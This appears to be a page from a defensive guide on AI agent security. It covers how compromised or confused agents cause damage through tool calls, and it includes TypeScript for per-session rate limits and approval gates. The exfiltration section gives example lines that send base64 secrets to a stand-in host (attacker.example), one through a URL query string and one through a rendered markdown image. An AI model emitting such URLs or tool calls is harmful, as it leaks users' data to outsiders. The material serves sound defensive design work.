Securitysecurityexfiltrationdestructive actionsrate limitstool safety

Tool Misuse and Data Exfiltration

The damage from a compromised or confused agent flows through its tools: destructive writes, data leaving via URLs, emails and files, and runaway call volumes.

Interview question
Progress

Tools are the damage path

A model that only produces text can embarrass you. A model with tools can delete a table, wire money, or send your customer list to a stranger. Whether the cause is an injection, a hallucinated argument, or a genuine misunderstanding of the task, the damage always flows through a tool call. That makes the tool layer the place to reason about impact.

Classify every tool along two axes before you ship it: reversibility (can the effect be undone?) and reach (does the effect leave your system?). A search_docs call is reversible and internal. A send_email call is irreversible and external. The controls scale with the quadrant.

  • Reversible, internal: read, search, draft. Log it.
  • Irreversible, internal: delete row, overwrite file. Confirm, snapshot or soft-delete, idempotency key (Idempotency).
  • Reversible, external: create a draft in a third-party system. Scope the credential.
  • Irreversible, external: send, pay, publish, POST to arbitrary URL. Approval gate plus destination allow-list.

Exfiltration paths

Exfiltration is data leaving your trust boundary. Attackers are creative about channels; enumerate every tool that can carry bytes outward, including ones that do not look like “send” tools.

  • URLs: a fetch(url) tool exfiltrates via the query string: https://attacker.example/?d=<base64 secrets>. Even a rendered markdown image ![](https://attacker.example/x.png?d=...) leaks when the client loads it.
  • Email, chat, SMS: any free-form recipient field.
  • File writes: to a shared drive, a public bucket, a git branch, a support ticket visible to the customer.
  • Tool arguments: data passed to a third-party API that logs its inputs.
  • Model output itself: the final answer shown to a user who should not see the data.

Excessive permissions and unsafe actions

Most exfiltration incidents are made possible by permission sprawl: the agent was given a database admin role because the demo was faster that way, or a shell(cmd) tool because it “covers everything”. A generic shell or HTTP tool is a permission to do anything, and no argument validator can enumerate what “anything” is.

Replace generic tools with narrow ones. run_sql(query) becomes get_orders(customer_id, since). http(method, url, body) becomes lookup_shipment(tracking_no) with the base URL fixed in code. Narrow tools are easier for the model to call correctly, easier to validate (Argument Validation) and impossible to misuse for things they cannot express.

Rate limits and volume controls

Even a benign agent can cause harm at volume: a loop that retries a failing payment 500 times, a triage agent that replies to every email in a mailbox including the auto-responders. Rate limits on side-effecting tools are a security control, not just a cost control.

A per-session budget on side-effecting tool calls, enforced before the tool runs.
1const limits: Record<string, number> = { send_email: 5, refund: 3, delete_file: 0 }
2const used = new Map<string, number>()
3 
4export async function callTool(name: string, args: unknown, session: Session) {
5  const spec = registry.get(name)
6  if (!spec) throw new Error(`unknown tool ${name}`)
7  if (spec.sideEffect) {
8    const n = (used.get(name) ?? 0) + 1
9    if (n > (limits[name] ?? 0)) throw new Error(`rate limit for ${name} exceeded in session ${session.id}`)
10    used.set(name, n)
11    if (spec.reach === 'external' && session.sawUntrustedContent) await approvals.require(session, name, args)
12  }
13  const parsed = spec.schema.parse(args)     // reject malformed or out-of-range arguments
14  return spec.run(parsed, session.user)      // runs with the user's credentials, not the service's
15}

Key points

  • All agent damage flows through tool calls; classify tools by reversibility and reach and scale controls accordingly.
  • Exfiltration channels include URLs, rendered images, emails, file writes, third-party API arguments and the final answer.
  • Replace generic tools (shell, raw SQL, arbitrary HTTP) with narrow, task-shaped ones whose arguments can be validated.
  • Rate limit and budget side-effecting tools per session; a benign loop at volume is an incident.
  • Irreversible external actions need an approval gate and a destination allow-list, in code.

When to use — and when not to

Use it when
  • Design review of any new tool: what is the worst call the model could make with it?
  • Agents that browse, email, write files or call payment and CRM APIs.
  • Incident post-mortems: trace the damage path back to the tool and the permission that enabled it.
Avoid it when
  • Read-only, internal tools need logging, not approval gates; do not slow the safe path.
  • Do not try to blocklist dangerous shell commands; remove the shell tool instead.
  • Do not rely on the model to “be careful”; it does not know which call is the harmful one.

Failure modes

  • A generic HTTP tool lets the model exfiltrate data in a query string to any host.
  • Markdown rendering fetches attacker-controlled image URLs carrying secrets.
  • A retry loop around a non-idempotent payment tool charges the customer repeatedly.
  • The agent holds an admin credential; one hallucinated DELETE removes production rows.
  • Approval gate is keyed on tool name and an unlisted tool with the same reach bypasses it.

Tradeoffs

Complexity
low → high
Latency
low → high
Cost
low → high
Reliability
poor → strong
Debuggability
hard → easy

Narrow tools and rate limits cost almost nothing at runtime and remove entire classes of incident.

← Indirect Prompt InjectionPermissions, Authentication and Authorisation →